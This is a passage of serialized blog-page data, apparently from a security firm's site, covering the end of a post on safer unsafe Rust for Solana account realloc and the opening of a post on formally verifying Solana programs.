data\n",{"type":20,"tag":315,"props":16132,"children":16133},{"class":317,"line":374},[16134,16138,16142,16146,16150,16154,16158,16162,16166,16170,16174,16178,16182,16186,16190,16194,16198,16202,16206,16210,16214],{"type":20,"tag":315,"props":16135,"children":16136},{"style":541},[16137],{"type":26,"value":1380},{"type":20,"tag":315,"props":16139,"children":16140},{"style":635},[16141],{"type":26,"value":12258},{"type":20,"tag":315,"props":16143,"children":16144},{"style":334},[16145],{"type":26,"value":1395},{"type":20,"tag":315,"props":16147,"children":16148},{"style":541},[16149],{"type":26,"value":12198},{"type":20,"tag":315,"props":16151,"children":16152},{"style":334},[16153],{"type":26,"value":61},{"type":20,"tag":315,"props":16155,"children":16156},{"style":345},[16157],{"type":26,"value":12275},{"type":20,"tag":315,"props":16159,"children":16160},{"style":328},[16161],{"type":26,"value":12280},{"type":20,"tag":315,"props":16163,"children":16164},{"style":334},[16165],{"type":26,"value":1514},{"type":20,"tag":315,"props":16167,"children":16168},{"style":345},[16169],{"type":26,"value":12289},{"type":20,"tag":315,"props":16171,"children":16172},{"style":328},[16173],{"type":26,"value":12280},{"type":20,"tag":315,"props":16175,"children":16176},{"style":334},[16177],{"type":26,"value":61},{"type":20,"tag":315,"props":16179,"children":16180},{"style":345},[16181],{"type":26,"value":12302},{"type":20,"tag":315,"props":16183,"children":16184},{"style":328},[16185],{"type":26,"value":1049},{"type":20,"tag":315,"props":16187,"children":16188},{"style":334},[16189],{"type":26,"value":478},{"type":20,"tag":315,"props":16191,"children":16192},{"style":765},[16193],{"type":26,"value":2469},{"type":20,"tag":315,"props":16195,"children":16196},{"style":328},[16197],{"type":26,"value":1468},{"type":20,"tag":315,"props":16199,"children":16200},{"style":541},[16201],{"type":26,"value":7238},{"type":20,"tag":315,"props":16203,"children":16204},{"style":334},[16205],{"type":26,"value":8216},{"type":20,"tag":315,"props":16207,"children":16208},{"style":541},[16209],{"type":26,"value":2107},{"type":20,"tag":315,"props":16211,"children":16212},{"style":322},[16213],{"type":26,"value":4253},{"type":20,"tag":315,"props":16215,"children":16216},{"style":328},[16217],{"type":26,"value":1405},{"type":20,"tag":315,"props":16219,"children":16220},{"class":317,"line":383},[16221,16225,16229,16233,16237,16241,16245],{"type":20,"tag":315,"props":16222,"children":16223},{"style":334},[16224],{"type":26,"value":389},{"type":20,"tag":315,"props":16226,"children":16227},{"style":635},[16228],{"type":26,"value":12350},{"type":20,"tag":315,"props":16230,"children":16231},{"style":334},[16232],{"type":26,"value":1395},{"type":20,"tag":315,"props":16234,"children":16235},{"style":635},[16236],{"type":26,"value":12359},{"type":20,"tag":315,"props":16238,"children":16239},{"style":541},[16240],{"type":26,"value":7224},{"type":20,"tag":315,"props":16242,"children":16243},{"style":322},[16244],{"type":26,"value":4253},{"type":20,"tag":315,"props":16246,"children":16247},{"style":328},[16248],{"type":26,"value":1405},{"type":20,"tag":315,"props":16250,"children":16251},{"class":317,"line":407},[16252],{"type":20,"tag":315,"props":16253,"children":16254},{"emptyLinePlaceholder":15},[16255],{"type":26,"value":427},{"type":20,"tag":315,"props":16257,"children":16258},{"class":317,"line":421},[16259],{"type":20,"tag":315,"props":16260,"children":16261},{"style":1071},[16262],{"type":26,"value":16263}," // Then set the new length in the local slice\n",{"type":20,"tag":315,"props":16265,"children":16266},{"class":317,"line":430},[16267,16271,16275,16279,16283,16287,16291,16295,16299,16303,16307,16311,16315,16319,16323,16327,16331,16335,16339,16343,16347,16351,16355,16359,16363,16367,16371,16375,16379,16383,16387],{"type":20,"tag":315,"props":16268,"children":16269},{"style":541},[16270],{"type":26,"value":1380},{"type":20,"tag":315,"props":16272,"children":16273},{"style":635},[16274],{"type":26,"value":12258},{"type":20,"tag":315,"props":16276,"children":16277},{"style":334},[16278],{"type":26,"value":1395},{"type":20,"tag":315,"props":16280,"children":16281},{"style":334},[16282],{"type":26,"value":5536},{"type":20,"tag":315,"props":16284,"children":16285},{"style":541},[16286],{"type":26,"value":2107},{"type":20,"tag":315,"props":16288,"children":16289},{"style":334},[16290],{"type":26,"value":8216},{"type":20,"tag":315,"props":16292,"children":16293},{"style":328},[16294],{"type":26,"value":12418},{"type":20,"tag":315,"props":16296,"children":16297},{"style":541},[16298],{"type":26,"value":12114},{"type":20,"tag":315,"props":16300,"children":16301},{"style":334},[16302],{"type":26,"value":61},{"type":20,"tag":315,"props":16304,"children":16305},{"style":328},[16306],{"type":26,"value":2085},{"type":20,"tag":315,"props":16308,"children":16309},{"style":334},[16310],{"type":26,"value":61},{"type":20,"tag":315,"props":16312,"children":16313},{"style":345},[16314],{"type":26,"value":12439},{"type":20,"tag":315,"props":16316,"children":16317},{"style":328},[16318],{"type":26,"value":12444},{"type":20,"tag":315,"props":16320,"children":16321},{"style":541},[16322],{"type":26,"value":7238},{"type":20,"tag":315,"props":16324,"children":16325},{"style":334},[16326],{"type":26,"value":8216},{"type":20,"tag":315,"props":16328,"children":16329},{"style":541},[16330],{"type":26,"value":8054},{"type":20,"tag":315,"props":16332,"children":16333},{"style":322},[16334],{"type":26,"value":4253},{"type":20,"tag":315,"props":16336,"children":16337},{"style":328},[16338],{"type":26,"value":1509},{"type":20,"tag":315,"props":16340,"children":16341},{"style":334},[16342],{"type":26,"value":61},{"type":20,"tag":315,"props":16344,"children":16345},{"style":345},[16346],{"type":26,"value":12302},{"type":20,"tag":315,"props":16348,"children":16349},{"style":328},[16350],{"type":26,"value":1049},{"type":20,"tag":315,"props":16352,"children":16353},{"style":765},[16354],{"type":26,"value":2406},{"type":20,"tag":315,"props":16356,"children":16357},{"style":328},[16358],{"type":26,"value":1468},{"type":20,"tag":315,"props":16360,"children":16361},{"style":541},[16362],{"type":26,"value":7238},{"type":20,"tag":315,"props":16364,"children":16365},{"style":322},[16366],{"type":26,"value":4253},{"type":20,"tag":315,"props":16368,"children":16369},{"style":328},[16370],{"type":26,"value":1468},{"type":20,"tag":315,"props":16372,"children":16373},{"style":541},[16374],{"type":26,"value":7238},{"type":20,"tag":315,"props":16376,"children":16377},{"style":334},[16378],{"type":26,"value":8216},{"type":20,"tag":315,"props":16380,"children":16381},{"style":541},[16382],{"type":26,"value":2107},{"type":20,"tag":315,"props":16384,"children":16385},{"style":322},[16386],{"type":26,"value":4253},{"type":20,"tag":315,"props":16388,"children":16389},{"style":328},[16390],{"type":26,"value":2214},{"type":20,"tag":315,"props":16392,"children":16393},{"class":317,"line":453},[16394,16398,16402,16406,16410,16414,16418],{"type":20,"tag":315,"props":16395,"children":16396},{"style":334},[16397],{"type":26,"value":389},{"type":20,"tag":315,"props":16399,"children":16400},{"style":635},[16401],{"type":26,"value":12350},{"type":20,"tag":315,"props":16403,"children":16404},{"style":334},[16405],{"type":26,"value":1395},{"type":20,"tag":315,"props":16407,"children":16408},{"style":635},[16409],{"type":26,"value":12359},{"type":20,"tag":315,"props":16411,"children":16412},{"style":541},[16413],{"type":26,"value":7224},{"type":20,"tag":315,"props":16415,"children":16416},{"style":322},[16417],{"type":26,"value":4253},{"type":20,"tag":315,"props":16419,"children":16420},{"style":328},[16421],{"type":26,"value":1405},{"type":20,"tag":315,"props":16423,"children":16424},{"class":317,"line":486},[16425],{"type":20,"tag":315,"props":16426,"children":16427},{"style":328},[16428],{"type":26,"value":577},{"type":20,"tag":29,"props":16430,"children":16431},{},[16432,16434,16439],{"type":26,"value":16433},"We've seen how we could have ran into all sorts of issues here, with the usage of slice layout details, the reborrow creating an unbounded lifetime, and the ",{"type":20,"tag":119,"props":16435,"children":16437},{"className":16436},[],[16438],{"type":26,"value":13905},{"type":26,"value":16440}," borrow not accurately representing the actual usage of its contents. We can do better than this.",{"type":20,"tag":29,"props":16442,"children":16443},{},[16444,16446,16451,16453,16458,16460,16465,16467,16472,16474,16479,16481,16487,16489,16499,16501,16512],{"type":26,"value":16445},"First, let's deal with the ",{"type":20,"tag":119,"props":16447,"children":16449},{"className":16448},[],[16450],{"type":26,"value":13905},{"type":26,"value":16452}," borrowing issue. When we ",{"type":20,"tag":119,"props":16454,"children":16456},{"className":16455},[],[16457],{"type":26,"value":12275},{"type":26,"value":16459},", we get a ",{"type":20,"tag":119,"props":16461,"children":16463},{"className":16462},[],[16464],{"type":26,"value":15144},{"type":26,"value":16466}," back, which represents our borrow of the ",{"type":20,"tag":119,"props":16468,"children":16470},{"className":16469},[],[16471],{"type":26,"value":13905},{"type":26,"value":16473},"'s data. The fix here is simple: keep that ",{"type":20,"tag":119,"props":16475,"children":16477},{"className":16476},[],[16478],{"type":26,"value":15144},{"type":26,"value":16480}," around and use it to access the data, instead of using ",{"type":20,"tag":119,"props":16482,"children":16484},{"className":16483},[],[16485],{"type":26,"value":16486},"RefCell::as_ptr",{"type":26,"value":16488},". Next, the slice; again, the fix is simple. Instead of attempting to modify just the length field, and resorting to using layout information to do so since Rust slices are immutable, we can simply construct a new slice reference and set that. The Rust compiler",{"type":20,"tag":13875,"props":16490,"children":16491},{},[16492],{"type":20,"tag":35,"props":16493,"children":16497},{"href":16494,"ariaDescribedBy":16495,"dataFootnoteRef":7,"id":16496},"#user-content-fn-rustc-llvm",[13882],"user-content-fnref-rustc-llvm",[16498],{"type":26,"value":15931},{"type":26,"value":16500}," is smart enough to realize that the only thing changing is the length field, and so only emits the code to set the length",{"type":20,"tag":13875,"props":16502,"children":16503},{},[16504],{"type":20,"tag":35,"props":16505,"children":16509},{"href":16506,"ariaDescribedBy":16507,"dataFootnoteRef":7,"id":16508},"#user-content-fn-godbolt",[13882],"user-content-fnref-godbolt",[16510],{"type":26,"value":16511},"5",{"type":26,"value":16513},". So then we get:",{"type":20,"tag":305,"props":16515,"children":16517},{"className":1360,"code":16516,"language":1359,"meta":7,"style":7},"let mut slice = self.try_borrow_mut_data()?;\n\n// First set new length in the serialized data\nlet ptr = unsafe { slice.as_mut_ptr().offset(-8) } as *mut u64;\nunsafe { *ptr = new_len as u64 };\n\n// Then set the new length in the local slice\n*slice = unsafe { std::slice::from_raw_parts_mut(slice.as_mut_ptr(), new_len) };\n",[16518],{"type":20,"tag":119,"props":16519,"children":16520},{"__ignoreMap":7},[16521,16565,16572,16579,16663,16703,16710,16717],{"type":20,"tag":315,"props":16522,"children":16523},{"class":317,"line":318},[16524,16528,16532,16537,16541,16545,16549,16553,16557,16561],{"type":20,"tag":315,"props":16525,"children":16526},{"style":541},[16527],{"type":26,"value":10188},{"type":20,"tag":315,"props":16529,"children":16530},{"style":541},[16531],{"type":26,"value":1385},{"type":20,"tag":315,"props":16533,"children":16534},{"style":635},[16535],{"type":26,"value":16536}," slice",{"type":20,"tag":315,"props":16538,"children":16539},{"style":334},[16540],{"type":26,"value":1395},{"type":20,"tag":315,"props":16542,"children":16543},{"style":541},[16544],{"type":26,"value":12198},{"type":20,"tag":315,"props":16546,"children":16547},{"style":334},[16548],{"type":26,"value":61},{"type":20,"tag":315,"props":16550,"children":16551},{"style":345},[16552],{"type":26,"value":12275},{"type":20,"tag":315,"props":16554,"children":16555},{"style":328},[16556],{"type":26,"value":12280},{"type":20,"tag":315,"props":16558,"children":16559},{"style":334},[16560],{"type":26,"value":1537},{"type":20,"tag":315,"props":16562,"children":16563},{"style":328},[16564],{"type":26,"value":1405},{"type":20,"tag":315,"props":16566,"children":16567},{"class":317,"line":356},[16568],{"type":20,"tag":315,"props":16569,"children":16570},{"emptyLinePlaceholder":15},[16571],{"type":26,"value":427},{"type":20,"tag":315,"props":16573,"children":16574},{"class":317,"line":365},[16575],{"type":20,"tag":315,"props":16576,"children":16577},{"style":1071},[16578],{"type":26,"value":12804},{"type":20,"tag":315,"props":16580,"children":16581},{"class":317,"line":374},[16582,16586,16590,16594,16598,16602,16606,16610,16614,16618,16622,16626,16630,16634,16638,16643,16647,16651,16655,16659],{"type":20,"tag":315,"props":16583,"children":16584},{"style":541},[16585],{"type":26,"value":10188},{"type":20,"tag":315,"props":16587,"children":16588},{"style":635},[16589],{"type":26,"value":12258},{"type":20,"tag":315,"props":16591,"children":16592},{"style":334},[16593],{"type":26,"value":1395},{"type":20,"tag":315,"props":16595,"children":16596},{"style":541},[16597],{"type":26,"value":12991},{"type":20,"tag":315,"props":16599,"children":16600},{"style":328},[16601],{"type":26,"value":7985},{"type":20,"tag":315,"props":16603,"children":16604},{"style":635},[16605],{"type":26,"value":13714},{"type":20,"tag":315,"props":16607,"children":16608},{"style":334},[16609],{"type":26,"value":61},{"type":20,"tag":315,"props":16611,"children":16612},{"style":345},[16613],{"type":26,"value":12289},{"type":20,"tag":315,"props":16615,"children":16616},{"style":328},[16617],{"type":26,"value":12280},{"type":20,"tag":315,"props":16619,"children":16620},{"style":334},[16621],{"type":26,"value":61},{"type":20,"tag":315,"props":16623,"children":16624},{"style":345},[16625],{"type":26,"value":12302},{"type":20,"tag":315,"props":16627,"children":16628},{"style":328},[16629],{"type":26,"value":1049},{"type":20,"tag":315,"props":16631,"children":16632},{"style":334},[16633],{"type":26,"value":478},{"type":20,"tag":315,"props":16635,"children":16636},{"style":765},[16637],{"type":26,"value":2469},{"type":20,"tag":315,"props":16639,"children":16640},{"style":328},[16641],{"type":26,"value":16642},") } ",{"type":20,"tag":315,"props":16644,"children":16645},{"style":541},[16646],{"type":26,"value":7238},{"type":20,"tag":315,"props":16648,"children":16649},{"style":334},[16650],{"type":26,"value":8216},{"type":20,"tag":315,"props":16652,"children":16653},{"style":541},[16654],{"type":26,"value":2107},{"type":20,"tag":315,"props":16656,"children":16657},{"style":322},[16658],{"type":26,"value":4253},{"type":20,"tag":315,"props":16660,"children":16661},{"style":328},[16662],{"type":26,"value":1405},{"type":20,"tag":315,"props":16664,"children":16665},{"class":317,"line":383},[16666,16670,16674,16678,16682,16686,16690,16694,16698],{"type":20,"tag":315,"props":16667,"children":16668},{"style":541},[16669],{"type":26,"value":12757},{"type":20,"tag":315,"props":16671,"children":16672},{"style":328},[16673],{"type":26,"value":7985},{"type":20,"tag":315,"props":16675,"children":16676},{"style":334},[16677],{"type":26,"value":901},{"type":20,"tag":315,"props":16679,"children":16680},{"style":635},[16681],{"type":26,"value":12350},{"type":20,"tag":315,"props":16683,"children":16684},{"style":334},[16685],{"type":26,"value":1395},{"type":20,"tag":315,"props":16687,"children":16688},{"style":635},[16689],{"type":26,"value":12359},{"type":20,"tag":315,"props":16691,"children":16692},{"style":541},[16693],{"type":26,"value":7224},{"type":20,"tag":315,"props":16695,"children":16696},{"style":322},[16697],{"type":26,"value":4253},{"type":20,"tag":315,"props":16699,"children":16700},{"style":328},[16701],{"type":26,"value":16702}," };\n",{"type":20,"tag":315,"props":16704,"children":16705},{"class":317,"line":407},[16706],{"type":20,"tag":315,"props":16707,"children":16708},{"emptyLinePlaceholder":15},[16709],{"type":26,"value":427},{"type":20,"tag":315,"props":16711,"children":16712},{"class":317,"line":421},[16713],{"type":20,"tag":315,"props":16714,"children":16715},{"style":1071},[16716],{"type":26,"value":14541},{"type":20,"tag":315,"props":16718,"children":16719},{"class":317,"line":430},[16720,16724,16728,16732,16736,16741,16745,16749,16753,16758,16762,16766,16770,16774,16779,16783],{"type":20,"tag":315,"props":16721,"children":16722},{"style":334},[16723],{"type":26,"value":901},{"type":20,"tag":315,"props":16725,"children":16726},{"style":635},[16727],{"type":26,"value":13714},{"type":20,"tag":315,"props":16729,"children":16730},{"style":334},[16731],{"type":26,"value":1395},{"type":20,"tag":315,"props":16733,"children":16734},{"style":541},[16735],{"type":26,"value":12991},{"type":20,"tag":315,"props":16737,"children":16738},{"style":328},[16739],{"type":26,"value":16740}," { std",{"type":20,"tag":315,"props":16742,"children":16743},{"style":334},[16744],{"type":26,"value":1861},{"type":20,"tag":315,"props":16746,"children":16747},{"style":328},[16748],{"type":26,"value":13714},{"type":20,"tag":315,"props":16750,"children":16751},{"style":334},[16752],{"type":26,"value":1861},{"type":20,"tag":315,"props":16754,"children":16755},{"style":345},[16756],{"type":26,"value":16757},"from_raw_parts_mut",{"type":20,"tag":315,"props":16759,"children":16760},{"style":328},[16761],{"type":26,"value":1049},{"type":20,"tag":315,"props":16763,"children":16764},{"style":635},[16765],{"type":26,"value":13714},{"type":20,"tag":315,"props":16767,"children":16768},{"style":334},[16769],{"type":26,"value":61},{"type":20,"tag":315,"props":16771,"children":16772},{"style":345},[16773],{"type":26,"value":12289},{"type":20,"tag":315,"props":16775,"children":16776},{"style":328},[16777],{"type":26,"value":16778},"(), ",{"type":20,"tag":315,"props":16780,"children":16781},{"style":635},[16782],{"type":26,"value":12123},{"type":20,"tag":315,"props":16784,"children":16785},{"style":328},[16786],{"type":26,"value":13146},{"type":20,"tag":29,"props":16788,"children":16789},{},[16790,16792,16797,16799,16804,16806,16811,16813],{"type":26,"value":16791},"No more pointer casting except for the one place that actually needs it (since the ABI for the serialized buffer uses a ",{"type":20,"tag":119,"props":16793,"children":16795},{"className":16794},[],[16796],{"type":26,"value":6438},{"type":26,"value":16798}," and not a ",{"type":20,"tag":119,"props":16800,"children":16802},{"className":16801},[],[16803],{"type":26,"value":15003},{"type":26,"value":16805}," for the size field, given that ",{"type":20,"tag":119,"props":16807,"children":16809},{"className":16808},[],[16810],{"type":26,"value":15003},{"type":26,"value":16812}," is architecture-dependent), and no dependency on slice reference internals!",{"type":20,"tag":13875,"props":16814,"children":16815},{},[16816],{"type":20,"tag":35,"props":16817,"children":16821},{"href":16818,"ariaDescribedBy":16819,"dataFootnoteRef":7,"id":16820},"#user-content-fn-slice-unbound-lifetime",[13882],"user-content-fnref-slice-unbound-lifetime",[16822],{"type":26,"value":16823},"6",{"type":20,"tag":16825,"props":16826,"children":16829},"section",{"className":16827,"dataFootnotes":7},[16828],"footnotes",[16830,16837],{"type":20,"tag":21,"props":16831,"children":16834},{"className":16832,"id":13882},[16833],"sr-only",[16835],{"type":26,"value":16836},"Footnotes",{"type":20,"tag":68,"props":16838,"children":16839},{},[16840,16945,16963,17018,17031,17059],{"type":20,"tag":72,"props":16841,"children":16843},{"id":16842},"user-content-fn-rc-refs",[16844,16846,16852,16854,16859,16861,16865,16867,16871,16873,16878,16880,16886,16888,16893,16895,16905,16907,16912,16914,16919,16921,16926,16928,16934,16936],{"type":26,"value":16845},"I find it helpful to view owning an ",{"type":20,"tag":119,"props":16847,"children":16849},{"className":16848},[],[16850],{"type":26,"value":16851},"Rc\u003CT>",{"type":26,"value":16853}," as holding a shared reference to the underlying ",{"type":20,"tag":119,"props":16855,"children":16857},{"className":16856},[],[16858],{"type":26,"value":4381},{"type":26,"value":16860}," (stored in the magical land of I-don't-need-to-care-about-this-object-not-living-long-enough known as the heap). Owning the ",{"type":20,"tag":55,"props":16862,"children":16863},{},[16864],{"type":26,"value":14859},{"type":26,"value":16866}," ensures that the actual ",{"type":20,"tag":55,"props":16868,"children":16869},{},[16870],{"type":26,"value":2085},{"type":26,"value":16872}," stays alive, however all you have is a reference to the ",{"type":20,"tag":119,"props":16874,"children":16876},{"className":16875},[],[16877],{"type":26,"value":4381},{"type":26,"value":16879}," (through the ",{"type":20,"tag":119,"props":16881,"children":16883},{"className":16882},[],[16884],{"type":26,"value":16885},"Deref\u003CTarget = T>",{"type":26,"value":16887}," impl) - ",{"type":20,"tag":55,"props":16889,"children":16890},{},[16891],{"type":26,"value":16892},"not",{"type":26,"value":16894}," ownership ",{"type":20,"tag":55,"props":16896,"children":16897},{},[16898,16900],{"type":26,"value":16899},"of the ",{"type":20,"tag":119,"props":16901,"children":16903},{"className":16902},[],[16904],{"type":26,"value":4381},{"type":26,"value":16906},". In short, owning an ",{"type":20,"tag":119,"props":16908,"children":16910},{"className":16909},[],[16911],{"type":26,"value":16851},{"type":26,"value":16913}," is owning a (shared, read-only) reference to ",{"type":20,"tag":119,"props":16915,"children":16917},{"className":16916},[],[16918],{"type":26,"value":4381},{"type":26,"value":16920},", not owning ",{"type":20,"tag":119,"props":16922,"children":16924},{"className":16923},[],[16925],{"type":26,"value":4381},{"type":26,"value":16927}," directly like with ",{"type":20,"tag":119,"props":16929,"children":16931},{"className":16930},[],[16932],{"type":26,"value":16933},"Box\u003CT>",{"type":26,"value":16935},". ",{"type":20,"tag":35,"props":16937,"children":16942},{"href":16938,"ariaLabel":16939,"className":16940,"dataFootnoteBackref":7},"#user-content-fnref-rc-refs","Back to reference 1",[16941],"data-footnote-backref",[16943],{"type":26,"value":16944},"↩",{"type":20,"tag":72,"props":16946,"children":16948},{"id":16947},"user-content-fn-sendsync",[16949,16955,16956],{"type":20,"tag":119,"props":16950,"children":16952},{"className":16951},[],[16953],{"type":26,"value":16954},"!Send + !Sync",{"type":26,"value":4852},{"type":20,"tag":35,"props":16957,"children":16961},{"href":16958,"ariaLabel":16959,"className":16960,"dataFootnoteBackref":7},"#user-content-fnref-sendsync","Back to reference 2",[16941],[16962],{"type":26,"value":16944},{"type":20,"tag":72,"props":16964,"children":16966},{"id":16965},"user-content-fn-layout",[16967,16969,16974,16975,16988,16990,16995,16997,17002,17004,17009,17011],{"type":26,"value":16968},"Note that this is a terrible idea for yet another reason: ",{"type":20,"tag":119,"props":16970,"children":16972},{"className":16971},[],[16973],{"type":26,"value":13339},{"type":26,"value":3894},{"type":20,"tag":35,"props":16976,"children":16979},{"href":16977,"rel":16978},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#15-33",[39],[16980,16982],{"type":26,"value":16981},"not declared with ",{"type":20,"tag":119,"props":16983,"children":16985},{"className":16984},[],[16986],{"type":26,"value":16987},"#[repr(C)]",{"type":26,"value":16989},", meaning that, once again, we're dealing with no layout guarantees. But thanks to the power of blockchain, fixing this ABI interface ",{"type":20,"tag":55,"props":16991,"children":16992},{},[16993],{"type":26,"value":16994},"breaks the entire chain",{"type":26,"value":16996}," since old contracts will no longer work. So, we're stuck with cobbling together ",{"type":20,"tag":55,"props":16998,"children":16999},{},[17000],{"type":26,"value":17001},"some",{"type":26,"value":17003}," kind of interface to the specific layout of the specific ",{"type":20,"tag":119,"props":17005,"children":17007},{"className":17006},[],[17008],{"type":26,"value":14911},{"type":26,"value":17010}," versions used to build on-chain code for all eternity... ",{"type":20,"tag":35,"props":17012,"children":17016},{"href":17013,"ariaLabel":17014,"className":17015,"dataFootnoteBackref":7},"#user-content-fnref-layout","Back to reference 3",[16941],[17017],{"type":26,"value":16944},{"type":20,"tag":72,"props":17019,"children":17021},{"id":17020},"user-content-fn-rustc-llvm",[17022,17024],{"type":26,"value":17023},"Actually, it's LLVM that does the optimization ",{"type":20,"tag":35,"props":17025,"children":17029},{"href":17026,"ariaLabel":17027,"className":17028,"dataFootnoteBackref":7},"#user-content-fnref-rustc-llvm","Back to reference 4",[16941],[17030],{"type":26,"value":16944},{"type":20,"tag":72,"props":17032,"children":17034},{"id":17033},"user-content-fn-godbolt",[17035,17042,17044,17050,17052],{"type":20,"tag":35,"props":17036,"children":17039},{"href":17037,"rel":17038},"https://godbolt.org/z/PK46xMbxc",[39],[17040],{"type":26,"value":17041},"Click here",{"type":26,"value":17043}," for a Compiler Explorer link showing this - note that the code for both implementations is almost identical. And yes, it's x86_64 and not eBPF, but unfortunately Compiler Explorer doesn't have Rust ",{"type":20,"tag":119,"props":17045,"children":17047},{"className":17046},[],[17048],{"type":26,"value":17049},"libcore",{"type":26,"value":17051}," available for other architectures yet. ",{"type":20,"tag":35,"props":17053,"children":17057},{"href":17054,"ariaLabel":17055,"className":17056,"dataFootnoteBackref":7},"#user-content-fnref-godbolt","Back to reference 5",[16941],[17058],{"type":26,"value":16944},{"type":20,"tag":72,"props":17060,"children":17062},{"id":17061},"user-content-fn-slice-unbound-lifetime",[17063,17065,17070,17072,17078,17080,17086,17088,17094,17096,17102,17104,17110,17112,17117,17119],{"type":26,"value":17064},"The astute reader may have noticed that ",{"type":20,"tag":119,"props":17066,"children":17068},{"className":17067},[],[17069],{"type":26,"value":16757},{"type":26,"value":17071}," still returns an unbounded lifetime (notice in the signature ",{"type":20,"tag":119,"props":17073,"children":17075},{"className":17074},[],[17076],{"type":26,"value":17077},"unsafe fn from_raw_parts_mut\u003C'a, T>(data: *mut T, len: usize) -> &'a mut [T]",{"type":26,"value":17079},", the lifetime parameter ",{"type":20,"tag":119,"props":17081,"children":17083},{"className":17082},[],[17084],{"type":26,"value":17085},"'a",{"type":26,"value":17087}," does not appear in the arguments). However, we immediately constrain the lifetime by assigning it to ",{"type":20,"tag":119,"props":17089,"children":17091},{"className":17090},[],[17092],{"type":26,"value":17093},"*slice",{"type":26,"value":17095},", which is ",{"type":20,"tag":119,"props":17097,"children":17099},{"className":17098},[],[17100],{"type":26,"value":17101},"&'info [u8]",{"type":26,"value":17103}," (where ",{"type":20,"tag":119,"props":17105,"children":17107},{"className":17106},[],[17108],{"type":26,"value":17109},"'info",{"type":26,"value":17111}," is the lifetime parameter of the ",{"type":20,"tag":119,"props":17113,"children":17115},{"className":17114},[],[17116],{"type":26,"value":13339},{"type":26,"value":17118}," struct) - this is exactly the lifetime we started with. ",{"type":20,"tag":35,"props":17120,"children":17124},{"href":17121,"ariaLabel":17122,"className":17123,"dataFootnoteBackref":7},"#user-content-fnref-slice-unbound-lifetime","Back to reference 6",[16941],[17125],{"type":26,"value":16944},{"type":20,"tag":1226,"props":17127,"children":17128},{},[17129],{"type":26,"value":1230},{"title":7,"searchDepth":356,"depth":356,"links":17131},[17132,17138,17142,17143,17145],{"id":12769,"depth":356,"text":17133,"children":17134},"Breaking down realloc",[17135,17136],{"id":12935,"depth":365,"text":12938},{"id":14293,"depth":365,"text":17137},"Back to realloc",{"id":15246,"depth":356,"text":15249,"children":17139},[17140,17141],{"id":15252,"depth":365,"text":15255},{"id":15473,"depth":365,"text":15476},{"id":15660,"depth":356,"text":15663},{"id":16061,"depth":356,"text":17144},"Towards safer unsafe",{"id":13882,"depth":356,"text":16836},"content:blog:2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references",{"_path":17150,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":17151,"description":17152,"author":17153,"image":17154,"date":17156,"isFeatured":15,"onBlogPage":15,"tags":17157,"body":17158,"_type":1242,"_id":27416,"_source":1244,"_file":27417,"_stem":27418,"_extension":1247},"/blog/2023-01-26-formally-verifying-solana-programs","Solana Formal Verification: A Case Study","We present a novel framework for formal verification of Solana Anchor programs — and a case study application to the Squads multisig.","harrison",{"src":17155,"height":12023,"width":12024},"/posts/formally-verifying-solana-programs/formal-verification-title.jpg","2023-01-26",[1259,1260],{"type":17,"children":17159,"toc":27388},[17160,17165,17170,17196,17200,17212,17235,17258,17270,17293,17296,17303,17352,17358,17364,17369,17380,17421,17426,17432,17437,17670,17690,17695,17700,17773,17778,17847,17861,18286,18306,18312,18330,18335,18340,18345,18351,18363,18398,18409,18420,18432,18437,18469,18493,18512,18518,18535,18541,18568,18573,18593,18605,18751,18779,18782,18794,18877,18896,18899,18938,19105,19110,19116,19128,19147,19160,19321,19333,19346,19820,19825,19872,19878,19896,19965,20203,20417,20422,20496,20544,20549,20555,20657,20761,20766,20829,20834,20840,20905,20910,20952,20978,20984,21053,21058,21108,21119,21125,21136,21157,21162,21167,21190,21196,21208,21228,22344,22363,22414,22419,22427,22439,22444,22452,22457,22473,22509,22514,22608,22613,22621,22626,22737,22742,22750,22763,22927,22932,22940,22945,22950,23018,23052,23058,23063,23074,23092,23470,23482,23494,23502,23513,23544,23549,23557,23562,23835,23854,23859,23885,24753,24765,24864,24876,24918,24923,24935,24943,24948,24960,24986,25146,25158,25166,25171,25447,25452,25464,25619,25639,25965,25999,26193,26226,26238,26360,26380,26385,26390,26395,26408,26416,26421,26896,26908,26913,26925,26930,27189,27215,27220,27226,27232,27244,27256,27275,27322,27327,27333,27338,27343,27348,27352,27357,27362,27365,27384],{"type":20,"tag":29,"props":17161,"children":17162},{},[17163],{"type":26,"value":17164},"Since the early days of computing, bugs have crept their way into programs and wreaked havoc on the intentions of the programmer. Logical fallacies, race conditions, or simple typos could manifest as crashes or lay undetected, silently breaking the functionality of the host program.",{"type":20,"tag":29,"props":17166,"children":17167},{},[17168],{"type":26,"value":17169},"When your program is connected to the internet, there is the new risk that bugs may introduce security holes into your system. Even simple buffer overflows can be exploited by skilled attackers to compromise the integrity of your program.",{"type":20,"tag":29,"props":17171,"children":17172},{},[17173,17175,17179,17181,17186,17188,17195],{"type":26,"value":17174},"In the world of Web3 we create programs that talk to strangers ",{"type":20,"tag":55,"props":17176,"children":17177},{},[17178],{"type":26,"value":14773},{"type":26,"value":17180}," control millions of dollars 🤑. Bugs in these programs are some of the ",{"type":20,"tag":55,"props":17182,"children":17183},{},[17184],{"type":26,"value":17185},"juciest",{"type":26,"value":17187},"; anonymous attackers that can find and exploit them will walk away with potentially ",{"type":20,"tag":35,"props":17189,"children":17192},{"href":17190,"rel":17191},"https://rekt.news/leaderboard/",[39],[17193],{"type":26,"value":17194},"hundreds of millions of dollars",{"type":26,"value":61},{"type":20,"tag":17197,"props":17198,"children":17199},"hr",{},[],{"type":20,"tag":29,"props":17201,"children":17202},{},[17203,17205,17210],{"type":26,"value":17204},"At OtterSec we are ",{"type":20,"tag":55,"props":17206,"children":17207},{},[17208],{"type":26,"value":17209},"highly skilled in pest control",{"type":26,"value":17211}," - finding and squashing bugs before they are exploited by less well-intentioned hackers. We are constantly striving to improve our techniques and develop new technologies that aid in our auditing processes.",{"type":20,"tag":29,"props":17213,"children":17214},{},[17215,17217,17224,17226,17233],{"type":26,"value":17216},"Recently we were contacted by the ",{"type":20,"tag":35,"props":17218,"children":17221},{"href":17219,"rel":17220},"https://squads.so/",[39],[17222],{"type":26,"value":17223},"Squads team",{"type":26,"value":17225}," to explore how formal verification could be used to verify security-critical properties of Solana programs. We were really excited about this opportunity and have been developing a prototype with the 